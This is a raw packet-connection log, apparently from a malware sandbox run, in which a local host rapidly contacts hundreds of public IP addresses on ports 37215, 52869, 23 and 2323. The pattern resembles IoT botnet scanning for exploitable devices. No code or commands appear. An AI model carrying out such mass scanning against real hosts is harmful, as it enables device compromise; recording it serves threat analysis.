Dec 4, 2024 20:34:30.934591055 CET	42978	37215	192.168.2.14	197.115.11.71
Dec 4, 2024 20:34:30.934598923 CET	56268	37215	192.168.2.14	41.17.85.83
Dec 4, 2024 20:34:30.934600115 CET	39814	37215	192.168.2.14	197.5.204.6
Dec 4, 2024 20:34:30.934612989 CET	55894	37215	192.168.2.14	156.52.39.116
Dec 4, 2024 20:34:30.934612989 CET	34716	37215	192.168.2.14	156.91.219.93
Dec 4, 2024 20:34:30.934622049 CET	47310	37215	192.168.2.14	197.42.34.155
Dec 4, 2024 20:34:30.934623957 CET	45472	37215	192.168.2.14	156.165.42.93
Dec 4, 2024 20:34:30.934631109 CET	45992	37215	192.168.2.14	197.143.6.121
Dec 4, 2024 20:34:30.934633970 CET	51962	37215	192.168.2.14	156.252.138.242
Dec 4, 2024 20:34:30.934633970 CET	35686	37215	192.168.2.14	41.181.147.225
Dec 4, 2024 20:34:30.934633970 CET	52478	37215	192.168.2.14	156.151.128.175
Dec 4, 2024 20:34:30.934637070 CET	54208	37215	192.168.2.14	41.16.199.204
Dec 4, 2024 20:34:30.966583014 CET	33650	37215	192.168.2.14	41.122.116.38
Dec 4, 2024 20:34:30.966583967 CET	36022	37215	192.168.2.14	197.184.8.180
Dec 4, 2024 20:34:30.971976995 CET	60019	52869	192.168.2.14	197.228.48.70
Dec 4, 2024 20:34:30.971976995 CET	60019	52869	192.168.2.14	41.3.2.109
Dec 4, 2024 20:34:30.971986055 CET	60019	52869	192.168.2.14	197.145.73.0
Dec 4, 2024 20:34:30.971988916 CET	60019	52869	192.168.2.14	41.187.28.96
Dec 4, 2024 20:34:30.971992016 CET	60019	52869	192.168.2.14	156.85.229.35
Dec 4, 2024 20:34:30.971997023 CET	60019	52869	192.168.2.14	156.134.146.101
Dec 4, 2024 20:34:30.972007036 CET	60019	52869	192.168.2.14	41.106.18.113
Dec 4, 2024 20:34:30.972021103 CET	60019	52869	192.168.2.14	197.93.192.240
Dec 4, 2024 20:34:30.972021103 CET	60019	52869	192.168.2.14	197.100.23.232
Dec 4, 2024 20:34:30.972023964 CET	60019	52869	192.168.2.14	197.167.137.162
Dec 4, 2024 20:34:30.972029924 CET	60019	52869	192.168.2.14	197.183.26.142
Dec 4, 2024 20:34:30.972033978 CET	60019	52869	192.168.2.14	41.227.1.74
Dec 4, 2024 20:34:30.972042084 CET	60019	52869	192.168.2.14	197.69.72.100
Dec 4, 2024 20:34:30.972058058 CET	60019	52869	192.168.2.14	41.9.80.83
Dec 4, 2024 20:34:30.972060919 CET	60019	52869	192.168.2.14	41.88.168.246
Dec 4, 2024 20:34:30.972063065 CET	60019	52869	192.168.2.14	156.43.87.92
Dec 4, 2024 20:34:30.972063065 CET	60019	52869	192.168.2.14	156.67.251.238
Dec 4, 2024 20:34:30.972070932 CET	60019	52869	192.168.2.14	41.92.124.107
Dec 4, 2024 20:34:30.972070932 CET	60019	52869	192.168.2.14	156.42.219.10
Dec 4, 2024 20:34:30.972080946 CET	60019	52869	192.168.2.14	156.25.249.165
Dec 4, 2024 20:34:30.972080946 CET	60019	52869	192.168.2.14	197.53.165.11
Dec 4, 2024 20:34:30.972083092 CET	60019	52869	192.168.2.14	156.123.219.25
Dec 4, 2024 20:34:30.972095013 CET	60019	52869	192.168.2.14	41.126.63.209
Dec 4, 2024 20:34:30.972104073 CET	60019	52869	192.168.2.14	197.134.209.9
Dec 4, 2024 20:34:30.972105026 CET	60019	52869	192.168.2.14	156.207.21.223
Dec 4, 2024 20:34:30.972105026 CET	60019	52869	192.168.2.14	41.60.138.37
Dec 4, 2024 20:34:30.972109079 CET	60019	52869	192.168.2.14	197.27.255.12
Dec 4, 2024 20:34:30.972110987 CET	60019	52869	192.168.2.14	197.235.99.253
Dec 4, 2024 20:34:30.972114086 CET	60019	52869	192.168.2.14	156.66.254.178
Dec 4, 2024 20:34:30.972117901 CET	60019	52869	192.168.2.14	156.77.57.140
Dec 4, 2024 20:34:30.972120047 CET	60019	52869	192.168.2.14	156.45.214.6
Dec 4, 2024 20:34:30.972119093 CET	60019	52869	192.168.2.14	156.209.25.0
Dec 4, 2024 20:34:30.972120047 CET	60019	52869	192.168.2.14	156.204.187.53
Dec 4, 2024 20:34:30.972129107 CET	60019	52869	192.168.2.14	197.138.235.244
Dec 4, 2024 20:34:30.972132921 CET	60019	52869	192.168.2.14	156.139.172.58
Dec 4, 2024 20:34:30.972137928 CET	60019	52869	192.168.2.14	41.49.79.124
Dec 4, 2024 20:34:30.972141027 CET	60019	52869	192.168.2.14	156.183.59.61
Dec 4, 2024 20:34:30.972147942 CET	60019	52869	192.168.2.14	41.111.180.88
Dec 4, 2024 20:34:30.972156048 CET	60019	52869	192.168.2.14	156.204.57.73
Dec 4, 2024 20:34:30.972162008 CET	60019	52869	192.168.2.14	197.175.234.144
Dec 4, 2024 20:34:30.972166061 CET	60019	52869	192.168.2.14	197.220.111.146
Dec 4, 2024 20:34:30.972177982 CET	60019	52869	192.168.2.14	41.201.184.138
Dec 4, 2024 20:34:30.972179890 CET	60019	52869	192.168.2.14	41.103.70.229
Dec 4, 2024 20:34:30.972184896 CET	60019	52869	192.168.2.14	197.195.22.233
Dec 4, 2024 20:34:30.972187996 CET	60019	52869	192.168.2.14	197.70.72.28
Dec 4, 2024 20:34:30.972199917 CET	60019	52869	192.168.2.14	41.23.244.155
Dec 4, 2024 20:34:30.972201109 CET	60019	52869	192.168.2.14	156.17.126.174
Dec 4, 2024 20:34:30.972207069 CET	60019	52869	192.168.2.14	197.50.94.181
Dec 4, 2024 20:34:30.972208977 CET	60019	52869	192.168.2.14	156.164.12.184
Dec 4, 2024 20:34:30.972220898 CET	60019	52869	192.168.2.14	41.112.232.230
Dec 4, 2024 20:34:30.972224951 CET	60019	52869	192.168.2.14	156.95.132.55
Dec 4, 2024 20:34:30.972229958 CET	60019	52869	192.168.2.14	197.198.250.173
Dec 4, 2024 20:34:30.972229958 CET	60019	52869	192.168.2.14	41.151.243.101
Dec 4, 2024 20:34:30.972229958 CET	60019	52869	192.168.2.14	41.21.26.246
Dec 4, 2024 20:34:30.972244024 CET	60019	52869	192.168.2.14	156.106.202.60
Dec 4, 2024 20:34:30.972250938 CET	60019	52869	192.168.2.14	41.198.113.135
Dec 4, 2024 20:34:30.972251892 CET	60019	52869	192.168.2.14	156.119.163.23
Dec 4, 2024 20:34:30.972260952 CET	60019	52869	192.168.2.14	41.92.69.223
Dec 4, 2024 20:34:30.972260952 CET	60019	52869	192.168.2.14	156.140.57.17
Dec 4, 2024 20:34:30.972270012 CET	60019	52869	192.168.2.14	197.167.233.188
Dec 4, 2024 20:34:30.972270012 CET	60019	52869	192.168.2.14	197.23.74.249
Dec 4, 2024 20:34:30.972282887 CET	60019	52869	192.168.2.14	197.77.235.186
Dec 4, 2024 20:34:30.972289085 CET	60019	52869	192.168.2.14	197.125.144.75
Dec 4, 2024 20:34:30.972290039 CET	60019	52869	192.168.2.14	197.142.105.223
Dec 4, 2024 20:34:30.972290039 CET	60019	52869	192.168.2.14	197.239.205.63
Dec 4, 2024 20:34:30.972306967 CET	60019	52869	192.168.2.14	197.227.240.84
Dec 4, 2024 20:34:30.972307920 CET	60019	52869	192.168.2.14	156.183.93.213
Dec 4, 2024 20:34:30.972307920 CET	60019	52869	192.168.2.14	156.177.53.34
Dec 4, 2024 20:34:30.972323895 CET	60019	52869	192.168.2.14	197.114.66.111
Dec 4, 2024 20:34:30.972326994 CET	60019	52869	192.168.2.14	197.84.81.115
Dec 4, 2024 20:34:30.972330093 CET	60019	52869	192.168.2.14	41.132.86.79
Dec 4, 2024 20:34:30.972341061 CET	60019	52869	192.168.2.14	156.206.68.252
Dec 4, 2024 20:34:30.972342014 CET	60019	52869	192.168.2.14	41.151.19.226
Dec 4, 2024 20:34:30.972348928 CET	60019	52869	192.168.2.14	156.192.193.113
Dec 4, 2024 20:34:30.972351074 CET	60019	52869	192.168.2.14	41.144.161.34
Dec 4, 2024 20:34:30.972354889 CET	60019	52869	192.168.2.14	41.132.88.106
Dec 4, 2024 20:34:30.972362995 CET	60019	52869	192.168.2.14	197.104.54.24
Dec 4, 2024 20:34:30.972362995 CET	60019	52869	192.168.2.14	156.77.33.26
Dec 4, 2024 20:34:30.972363949 CET	60019	52869	192.168.2.14	41.199.124.49
Dec 4, 2024 20:34:30.972368002 CET	60019	52869	192.168.2.14	156.131.110.73
Dec 4, 2024 20:34:30.972369909 CET	60019	52869	192.168.2.14	41.244.141.92
Dec 4, 2024 20:34:30.972374916 CET	60019	52869	192.168.2.14	156.104.224.117
Dec 4, 2024 20:34:30.972374916 CET	60019	52869	192.168.2.14	156.192.182.37
Dec 4, 2024 20:34:30.972372055 CET	60019	52869	192.168.2.14	156.27.193.5
Dec 4, 2024 20:34:30.972378016 CET	60019	52869	192.168.2.14	156.38.82.76
Dec 4, 2024 20:34:30.972383022 CET	60019	52869	192.168.2.14	41.221.161.255
Dec 4, 2024 20:34:30.972383022 CET	60019	52869	192.168.2.14	156.72.209.150
Dec 4, 2024 20:34:30.972389936 CET	60019	52869	192.168.2.14	197.223.77.220
Dec 4, 2024 20:34:30.972389936 CET	60019	52869	192.168.2.14	41.146.229.32
Dec 4, 2024 20:34:30.972393036 CET	60019	52869	192.168.2.14	156.118.99.172
Dec 4, 2024 20:34:30.972393036 CET	60019	52869	192.168.2.14	197.23.96.26
Dec 4, 2024 20:34:30.972395897 CET	60019	52869	192.168.2.14	197.21.219.183
Dec 4, 2024 20:34:30.972395897 CET	60019	52869	192.168.2.14	156.226.123.209
Dec 4, 2024 20:34:30.972397089 CET	60019	52869	192.168.2.14	41.188.62.250
Dec 4, 2024 20:34:30.972399950 CET	60019	52869	192.168.2.14	197.12.221.233
Dec 4, 2024 20:34:30.972404957 CET	60019	52869	192.168.2.14	41.115.29.105
Dec 4, 2024 20:34:30.972404957 CET	60019	52869	192.168.2.14	156.80.62.0
Dec 4, 2024 20:34:30.972405910 CET	60019	52869	192.168.2.14	197.205.207.163
Dec 4, 2024 20:34:30.972408056 CET	60019	52869	192.168.2.14	156.252.158.219
Dec 4, 2024 20:34:30.972408056 CET	60019	52869	192.168.2.14	41.56.125.83
Dec 4, 2024 20:34:30.972425938 CET	60019	52869	192.168.2.14	156.202.183.25
Dec 4, 2024 20:34:30.972428083 CET	60019	52869	192.168.2.14	41.188.206.149
Dec 4, 2024 20:34:30.972428083 CET	60019	52869	192.168.2.14	156.199.230.7
Dec 4, 2024 20:34:30.972429037 CET	60019	52869	192.168.2.14	41.205.98.175
Dec 4, 2024 20:34:30.972431898 CET	60019	52869	192.168.2.14	197.34.113.66
Dec 4, 2024 20:34:30.972438097 CET	60019	52869	192.168.2.14	156.90.111.87
Dec 4, 2024 20:34:30.972440958 CET	60019	52869	192.168.2.14	41.226.75.250
Dec 4, 2024 20:34:30.972440958 CET	60019	52869	192.168.2.14	197.157.170.84
Dec 4, 2024 20:34:30.972450972 CET	60019	52869	192.168.2.14	156.103.44.25
Dec 4, 2024 20:34:30.972450972 CET	60019	52869	192.168.2.14	156.63.3.183
Dec 4, 2024 20:34:30.972450972 CET	60019	52869	192.168.2.14	41.174.255.248
Dec 4, 2024 20:34:30.972451925 CET	60019	52869	192.168.2.14	41.119.46.92
Dec 4, 2024 20:34:30.972457886 CET	60019	52869	192.168.2.14	197.152.103.101
Dec 4, 2024 20:34:30.972459078 CET	60019	52869	192.168.2.14	156.59.239.73
Dec 4, 2024 20:34:30.972471952 CET	60019	52869	192.168.2.14	156.202.233.97
Dec 4, 2024 20:34:30.972481012 CET	60019	52869	192.168.2.14	156.2.246.2
Dec 4, 2024 20:34:30.972481012 CET	60019	52869	192.168.2.14	41.119.76.194
Dec 4, 2024 20:34:30.972481966 CET	60019	52869	192.168.2.14	41.56.32.91
Dec 4, 2024 20:34:30.972482920 CET	60019	52869	192.168.2.14	156.190.240.83
Dec 4, 2024 20:34:30.972481966 CET	60019	52869	192.168.2.14	156.85.74.84
Dec 4, 2024 20:34:30.972485065 CET	60019	52869	192.168.2.14	156.32.25.178
Dec 4, 2024 20:34:30.972485065 CET	60019	52869	192.168.2.14	156.216.77.210
Dec 4, 2024 20:34:30.972491980 CET	60019	52869	192.168.2.14	156.89.196.81
Dec 4, 2024 20:34:30.972491980 CET	60019	52869	192.168.2.14	41.148.91.109
Dec 4, 2024 20:34:30.972511053 CET	60019	52869	192.168.2.14	197.198.134.242
Dec 4, 2024 20:34:30.972511053 CET	60019	52869	192.168.2.14	197.167.61.133
Dec 4, 2024 20:34:30.972511053 CET	60019	52869	192.168.2.14	197.183.12.48
Dec 4, 2024 20:34:30.972511053 CET	60019	52869	192.168.2.14	156.130.40.92
Dec 4, 2024 20:34:30.972512007 CET	60019	52869	192.168.2.14	41.12.25.156
Dec 4, 2024 20:34:30.972512007 CET	60019	52869	192.168.2.14	156.62.80.19
Dec 4, 2024 20:34:30.972517014 CET	60019	52869	192.168.2.14	156.141.109.107
Dec 4, 2024 20:34:30.972520113 CET	60019	52869	192.168.2.14	41.239.53.28
Dec 4, 2024 20:34:30.972521067 CET	60019	52869	192.168.2.14	197.27.80.116
Dec 4, 2024 20:34:30.972522020 CET	60019	52869	192.168.2.14	156.139.1.110
Dec 4, 2024 20:34:30.972522020 CET	60019	52869	192.168.2.14	156.204.34.204
Dec 4, 2024 20:34:30.972527027 CET	60019	52869	192.168.2.14	197.30.77.129
Dec 4, 2024 20:34:30.972538948 CET	60019	52869	192.168.2.14	41.139.107.144
Dec 4, 2024 20:34:30.972542048 CET	60019	52869	192.168.2.14	197.136.41.104
Dec 4, 2024 20:34:30.972542048 CET	60019	52869	192.168.2.14	156.8.88.86
Dec 4, 2024 20:34:30.972547054 CET	60019	52869	192.168.2.14	156.252.9.43
Dec 4, 2024 20:34:30.972548962 CET	60019	52869	192.168.2.14	197.241.147.212
Dec 4, 2024 20:34:30.972557068 CET	60019	52869	192.168.2.14	156.43.243.97
Dec 4, 2024 20:34:30.972559929 CET	60019	52869	192.168.2.14	197.16.179.120
Dec 4, 2024 20:34:30.972559929 CET	60019	52869	192.168.2.14	197.227.133.133
Dec 4, 2024 20:34:30.972559929 CET	60019	52869	192.168.2.14	41.1.40.61
Dec 4, 2024 20:34:30.972562075 CET	60019	52869	192.168.2.14	41.224.169.181
Dec 4, 2024 20:34:30.972562075 CET	60019	52869	192.168.2.14	197.169.165.186
Dec 4, 2024 20:34:30.972568035 CET	60019	52869	192.168.2.14	41.197.133.74
Dec 4, 2024 20:34:30.972570896 CET	60019	52869	192.168.2.14	197.122.188.43
Dec 4, 2024 20:34:30.972570896 CET	60019	52869	192.168.2.14	197.76.173.93
Dec 4, 2024 20:34:30.972580910 CET	60019	52869	192.168.2.14	156.136.142.176
Dec 4, 2024 20:34:30.972580910 CET	60019	52869	192.168.2.14	156.99.74.113
Dec 4, 2024 20:34:30.972584009 CET	60019	52869	192.168.2.14	156.190.222.124
Dec 4, 2024 20:34:30.972584009 CET	60019	52869	192.168.2.14	41.169.108.59
Dec 4, 2024 20:34:30.972584009 CET	60019	52869	192.168.2.14	41.247.93.142
Dec 4, 2024 20:34:30.972585917 CET	60019	52869	192.168.2.14	156.177.82.98
Dec 4, 2024 20:34:30.972585917 CET	60019	52869	192.168.2.14	156.30.29.5
Dec 4, 2024 20:34:30.972585917 CET	60019	52869	192.168.2.14	197.92.217.11
Dec 4, 2024 20:34:30.972585917 CET	60019	52869	192.168.2.14	156.139.133.131
Dec 4, 2024 20:34:30.972590923 CET	60019	52869	192.168.2.14	41.161.3.5
Dec 4, 2024 20:34:30.979640961 CET	23	60787	100.54.161.123	192.168.2.14
Dec 4, 2024 20:34:30.979665041 CET	2323	60787	70.93.228.51	192.168.2.14
Dec 4, 2024 20:34:30.979701996 CET	60787	23	192.168.2.14	100.54.161.123
Dec 4, 2024 20:34:30.979706049 CET	60787	2323	192.168.2.14	70.93.228.51
Dec 4, 2024 20:34:30.979713917 CET	23	60787	193.75.93.100	192.168.2.14
Dec 4, 2024 20:34:30.979754925 CET	60787	23	192.168.2.14	193.75.93.100
Dec 4, 2024 20:34:30.979773045 CET	23	60787	32.191.24.134	192.168.2.14
Dec 4, 2024 20:34:30.979798079 CET	23	60787	162.223.10.158	192.168.2.14
Dec 4, 2024 20:34:30.979805946 CET	60787	23	192.168.2.14	32.191.24.134
Dec 4, 2024 20:34:30.979809046 CET	23	60787	216.153.242.34	192.168.2.14
Dec 4, 2024 20:34:30.979830027 CET	60787	23	192.168.2.14	162.223.10.158
Dec 4, 2024 20:34:30.979842901 CET	60787	23	192.168.2.14	216.153.242.34
Dec 4, 2024 20:34:30.979979038 CET	23	60787	98.178.198.239	192.168.2.14
Dec 4, 2024 20:34:30.979990005 CET	23	60787	61.102.250.35	192.168.2.14
Dec 4, 2024 20:34:30.980010986 CET	60787	23	192.168.2.14	98.178.198.239
Dec 4, 2024 20:34:30.980035067 CET	60787	23	192.168.2.14	61.102.250.35
Dec 4, 2024 20:34:30.980036974 CET	23	60787	186.249.94.217	192.168.2.14
Dec 4, 2024 20:34:30.980068922 CET	60787	23	192.168.2.14	186.249.94.217
Dec 4, 2024 20:34:30.980127096 CET	2323	60787	87.228.142.186	192.168.2.14
Dec 4, 2024 20:34:30.980138063 CET	23	35278	110.0.125.196	192.168.2.14
Dec 4, 2024 20:34:30.980146885 CET	23	60787	150.19.192.1	192.168.2.14
Dec 4, 2024 20:34:30.980151892 CET	23	60787	19.124.61.137	192.168.2.14
Dec 4, 2024 20:34:30.980158091 CET	60787	2323	192.168.2.14	87.228.142.186
Dec 4, 2024 20:34:30.980159998 CET	23	60787	93.42.50.64	192.168.2.14
Dec 4, 2024 20:34:30.980178118 CET	23	60787	212.110.116.8	192.168.2.14
Dec 4, 2024 20:34:30.980186939 CET	23	60787	86.6.243.217	192.168.2.14
Dec 4, 2024 20:34:30.980194092 CET	60787	23	192.168.2.14	150.19.192.1
Dec 4, 2024 20:34:30.980195045 CET	23	60787	89.60.114.60	192.168.2.14
Dec 4, 2024 20:34:30.980194092 CET	60787	23	192.168.2.14	19.124.61.137
Dec 4, 2024 20:34:30.980196953 CET	60787	23	192.168.2.14	93.42.50.64
Dec 4, 2024 20:34:30.980205059 CET	23	60787	182.196.234.43	192.168.2.14
Dec 4, 2024 20:34:30.980210066 CET	60787	23	192.168.2.14	86.6.243.217
Dec 4, 2024 20:34:30.980214119 CET	60787	23	192.168.2.14	212.110.116.8
Dec 4, 2024 20:34:30.980232954 CET	60787	23	192.168.2.14	182.196.234.43
Dec 4, 2024 20:34:30.980235100 CET	60787	23	192.168.2.14	89.60.114.60
Dec 4, 2024 20:34:30.980256081 CET	35278	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:30.980267048 CET	23	60787	158.192.38.79	192.168.2.14
Dec 4, 2024 20:34:30.980277061 CET	23	60787	99.215.145.130	192.168.2.14
Dec 4, 2024 20:34:30.980284929 CET	2323	60787	196.197.54.162	192.168.2.14
Dec 4, 2024 20:34:30.980293989 CET	23	60787	192.8.69.153	192.168.2.14
Dec 4, 2024 20:34:30.980295897 CET	60787	23	192.168.2.14	158.192.38.79
Dec 4, 2024 20:34:30.980303049 CET	23	60787	59.192.208.132	192.168.2.14
Dec 4, 2024 20:34:30.980312109 CET	23	60787	72.148.30.113	192.168.2.14
Dec 4, 2024 20:34:30.980318069 CET	60787	23	192.168.2.14	99.215.145.130
Dec 4, 2024 20:34:30.980319977 CET	60787	2323	192.168.2.14	196.197.54.162
Dec 4, 2024 20:34:30.980319977 CET	23	60787	96.197.91.38	192.168.2.14
Dec 4, 2024 20:34:30.980329990 CET	23	60787	170.204.245.220	192.168.2.14
Dec 4, 2024 20:34:30.980329990 CET	60787	23	192.168.2.14	192.8.69.153
Dec 4, 2024 20:34:30.980338097 CET	60787	23	192.168.2.14	72.148.30.113
Dec 4, 2024 20:34:30.980338097 CET	23	60787	178.233.70.122	192.168.2.14
Dec 4, 2024 20:34:30.980340004 CET	60787	23	192.168.2.14	59.192.208.132
Dec 4, 2024 20:34:30.980349064 CET	23	60787	113.201.57.190	192.168.2.14
Dec 4, 2024 20:34:30.980350971 CET	60787	23	192.168.2.14	170.204.245.220
Dec 4, 2024 20:34:30.980353117 CET	60787	23	192.168.2.14	96.197.91.38
Dec 4, 2024 20:34:30.980357885 CET	23	60787	195.53.35.3	192.168.2.14
Dec 4, 2024 20:34:30.980361938 CET	60787	23	192.168.2.14	178.233.70.122
Dec 4, 2024 20:34:30.980369091 CET	23	60787	86.5.14.97	192.168.2.14
Dec 4, 2024 20:34:30.980376959 CET	23	60787	156.212.238.31	192.168.2.14
Dec 4, 2024 20:34:30.980379105 CET	60787	23	192.168.2.14	195.53.35.3
Dec 4, 2024 20:34:30.980381012 CET	60787	23	192.168.2.14	113.201.57.190
Dec 4, 2024 20:34:30.980401039 CET	60787	23	192.168.2.14	86.5.14.97
Dec 4, 2024 20:34:30.980412960 CET	60787	23	192.168.2.14	156.212.238.31
Dec 4, 2024 20:34:30.980813980 CET	35282	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:30.980989933 CET	23	60787	4.205.55.217	192.168.2.14
Dec 4, 2024 20:34:30.981000900 CET	2323	60787	47.233.5.126	192.168.2.14
Dec 4, 2024 20:34:30.981009960 CET	23	60787	59.177.95.100	192.168.2.14
Dec 4, 2024 20:34:30.981019020 CET	23	60787	12.237.75.22	192.168.2.14
Dec 4, 2024 20:34:30.981025934 CET	60787	23	192.168.2.14	4.205.55.217
Dec 4, 2024 20:34:30.981028080 CET	23	60787	150.0.77.11	192.168.2.14
Dec 4, 2024 20:34:30.981035948 CET	60787	2323	192.168.2.14	47.233.5.126
Dec 4, 2024 20:34:30.981036901 CET	23	60787	183.71.49.169	192.168.2.14
Dec 4, 2024 20:34:30.981044054 CET	60787	23	192.168.2.14	59.177.95.100
Dec 4, 2024 20:34:30.981045961 CET	23	60787	115.204.44.239	192.168.2.14
Dec 4, 2024 20:34:30.981045961 CET	60787	23	192.168.2.14	12.237.75.22
Dec 4, 2024 20:34:30.981055021 CET	23	60787	59.126.127.8	192.168.2.14
Dec 4, 2024 20:34:30.981062889 CET	60787	23	192.168.2.14	150.0.77.11
Dec 4, 2024 20:34:30.981064081 CET	60787	23	192.168.2.14	183.71.49.169
Dec 4, 2024 20:34:30.981065035 CET	2323	60787	47.17.98.205	192.168.2.14
Dec 4, 2024 20:34:30.981066942 CET	60787	23	192.168.2.14	115.204.44.239
Dec 4, 2024 20:34:30.981075048 CET	23	60787	213.17.108.243	192.168.2.14
Dec 4, 2024 20:34:30.981090069 CET	60787	23	192.168.2.14	59.126.127.8
Dec 4, 2024 20:34:30.981103897 CET	60787	2323	192.168.2.14	47.17.98.205
Dec 4, 2024 20:34:30.981110096 CET	60787	23	192.168.2.14	213.17.108.243
Dec 4, 2024 20:34:30.983154058 CET	23	60787	208.149.243.209	192.168.2.14
Dec 4, 2024 20:34:30.983165026 CET	23	60787	77.76.99.215	192.168.2.14
Dec 4, 2024 20:34:30.983174086 CET	23	60787	108.203.200.84	192.168.2.14
Dec 4, 2024 20:34:30.983182907 CET	23	60787	189.4.203.155	192.168.2.14
Dec 4, 2024 20:34:30.983185053 CET	60787	23	192.168.2.14	208.149.243.209
Dec 4, 2024 20:34:30.983191967 CET	23	60787	187.193.144.131	192.168.2.14
Dec 4, 2024 20:34:30.983196974 CET	60787	23	192.168.2.14	77.76.99.215
Dec 4, 2024 20:34:30.983201027 CET	60787	23	192.168.2.14	108.203.200.84
Dec 4, 2024 20:34:30.983202934 CET	23	60787	61.199.227.63	192.168.2.14
Dec 4, 2024 20:34:30.983212948 CET	23	60787	72.21.109.24	192.168.2.14
Dec 4, 2024 20:34:30.983213902 CET	60787	23	192.168.2.14	189.4.203.155
Dec 4, 2024 20:34:30.983222008 CET	23	60787	73.5.174.177	192.168.2.14
Dec 4, 2024 20:34:30.983230114 CET	60787	23	192.168.2.14	187.193.144.131
Dec 4, 2024 20:34:30.983231068 CET	60787	23	192.168.2.14	61.199.227.63
Dec 4, 2024 20:34:30.983241081 CET	23	60787	130.226.242.145	192.168.2.14
Dec 4, 2024 20:34:30.983249903 CET	23	60787	58.252.218.157	192.168.2.14
Dec 4, 2024 20:34:30.983253002 CET	60787	23	192.168.2.14	72.21.109.24
Dec 4, 2024 20:34:30.983258963 CET	60787	23	192.168.2.14	73.5.174.177
Dec 4, 2024 20:34:30.983258963 CET	2323	60787	89.31.99.164	192.168.2.14
Dec 4, 2024 20:34:30.983268976 CET	23	60787	13.32.221.75	192.168.2.14
Dec 4, 2024 20:34:30.983272076 CET	60787	23	192.168.2.14	58.252.218.157
Dec 4, 2024 20:34:30.983272076 CET	60787	23	192.168.2.14	130.226.242.145
Dec 4, 2024 20:34:30.983278036 CET	23	60787	117.214.58.77	192.168.2.14
Dec 4, 2024 20:34:30.983289003 CET	23	60787	87.29.48.143	192.168.2.14
Dec 4, 2024 20:34:30.983292103 CET	60787	2323	192.168.2.14	89.31.99.164
Dec 4, 2024 20:34:30.983294010 CET	60787	23	192.168.2.14	13.32.221.75
Dec 4, 2024 20:34:30.983298063 CET	23	60787	102.132.6.25	192.168.2.14
Dec 4, 2024 20:34:30.983299971 CET	60787	23	192.168.2.14	117.214.58.77
Dec 4, 2024 20:34:30.983306885 CET	23	60787	73.241.219.72	192.168.2.14
Dec 4, 2024 20:34:30.983324051 CET	23	60787	151.5.132.75	192.168.2.14
Dec 4, 2024 20:34:30.983328104 CET	60787	23	192.168.2.14	87.29.48.143
Dec 4, 2024 20:34:30.983328104 CET	60787	23	192.168.2.14	102.132.6.25
Dec 4, 2024 20:34:30.983334064 CET	23	60787	77.122.34.52	192.168.2.14
Dec 4, 2024 20:34:30.983338118 CET	60787	23	192.168.2.14	73.241.219.72
Dec 4, 2024 20:34:30.983342886 CET	23	60787	31.237.66.239	192.168.2.14
Dec 4, 2024 20:34:30.983351946 CET	23	60787	84.134.160.71	192.168.2.14
Dec 4, 2024 20:34:30.983361006 CET	23	60787	104.241.209.96	192.168.2.14
Dec 4, 2024 20:34:30.983361006 CET	60787	23	192.168.2.14	151.5.132.75
Dec 4, 2024 20:34:30.983364105 CET	60787	23	192.168.2.14	77.122.34.52
Dec 4, 2024 20:34:30.983367920 CET	60787	23	192.168.2.14	31.237.66.239
Dec 4, 2024 20:34:30.983369112 CET	23	60787	118.35.67.12	192.168.2.14
Dec 4, 2024 20:34:30.983378887 CET	23	60787	208.136.203.134	192.168.2.14
Dec 4, 2024 20:34:30.983385086 CET	60787	23	192.168.2.14	84.134.160.71
Dec 4, 2024 20:34:30.983388901 CET	2323	60787	166.51.47.59	192.168.2.14
Dec 4, 2024 20:34:30.983392954 CET	60787	23	192.168.2.14	104.241.209.96
Dec 4, 2024 20:34:30.983392954 CET	60787	23	192.168.2.14	118.35.67.12
Dec 4, 2024 20:34:30.983401060 CET	23	60787	31.232.221.116	192.168.2.14
Dec 4, 2024 20:34:30.983407021 CET	60787	23	192.168.2.14	208.136.203.134
Dec 4, 2024 20:34:30.983413935 CET	60787	2323	192.168.2.14	166.51.47.59
Dec 4, 2024 20:34:30.983433008 CET	60787	23	192.168.2.14	31.232.221.116
Dec 4, 2024 20:34:30.998548985 CET	37826	37215	192.168.2.14	156.239.174.27
Dec 4, 2024 20:34:30.998548985 CET	53508	52869	192.168.2.14	41.217.152.38
Dec 4, 2024 20:34:30.998548985 CET	39552	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:30.998553991 CET	42220	52869	192.168.2.14	197.245.120.181
Dec 4, 2024 20:34:30.998555899 CET	52148	52869	192.168.2.14	156.59.66.240
Dec 4, 2024 20:34:30.998555899 CET	60542	52869	192.168.2.14	41.117.90.30
Dec 4, 2024 20:34:30.998555899 CET	43772	52869	192.168.2.14	156.48.242.95
Dec 4, 2024 20:34:31.059976101 CET	37215	35134	156.182.166.141	192.168.2.14
Dec 4, 2024 20:34:31.060062885 CET	35134	37215	192.168.2.14	156.182.166.141
Dec 4, 2024 20:34:31.060084105 CET	37215	42978	197.115.11.71	192.168.2.14
Dec 4, 2024 20:34:31.060092926 CET	37215	47004	156.90.212.185	192.168.2.14
Dec 4, 2024 20:34:31.060102940 CET	37215	48904	41.3.121.77	192.168.2.14
Dec 4, 2024 20:34:31.060112953 CET	37215	56268	41.17.85.83	192.168.2.14
Dec 4, 2024 20:34:31.060118914 CET	42978	37215	192.168.2.14	197.115.11.71
Dec 4, 2024 20:34:31.060121059 CET	37215	34716	156.91.219.93	192.168.2.14
Dec 4, 2024 20:34:31.060133934 CET	37215	55894	156.52.39.116	192.168.2.14
Dec 4, 2024 20:34:31.060136080 CET	48904	37215	192.168.2.14	41.3.121.77
Dec 4, 2024 20:34:31.060136080 CET	47004	37215	192.168.2.14	156.90.212.185
Dec 4, 2024 20:34:31.060142040 CET	35134	37215	192.168.2.14	156.182.166.141
Dec 4, 2024 20:34:31.060142994 CET	37215	39814	197.5.204.6	192.168.2.14
Dec 4, 2024 20:34:31.060148001 CET	56268	37215	192.168.2.14	41.17.85.83
Dec 4, 2024 20:34:31.060157061 CET	55894	37215	192.168.2.14	156.52.39.116
Dec 4, 2024 20:34:31.060158014 CET	34716	37215	192.168.2.14	156.91.219.93
Dec 4, 2024 20:34:31.060168982 CET	60275	37215	192.168.2.14	197.255.15.13
Dec 4, 2024 20:34:31.060180902 CET	39814	37215	192.168.2.14	197.5.204.6
Dec 4, 2024 20:34:31.060180902 CET	60275	37215	192.168.2.14	41.94.156.53
Dec 4, 2024 20:34:31.060192108 CET	60275	37215	192.168.2.14	197.196.253.237
Dec 4, 2024 20:34:31.060195923 CET	60275	37215	192.168.2.14	41.192.132.220
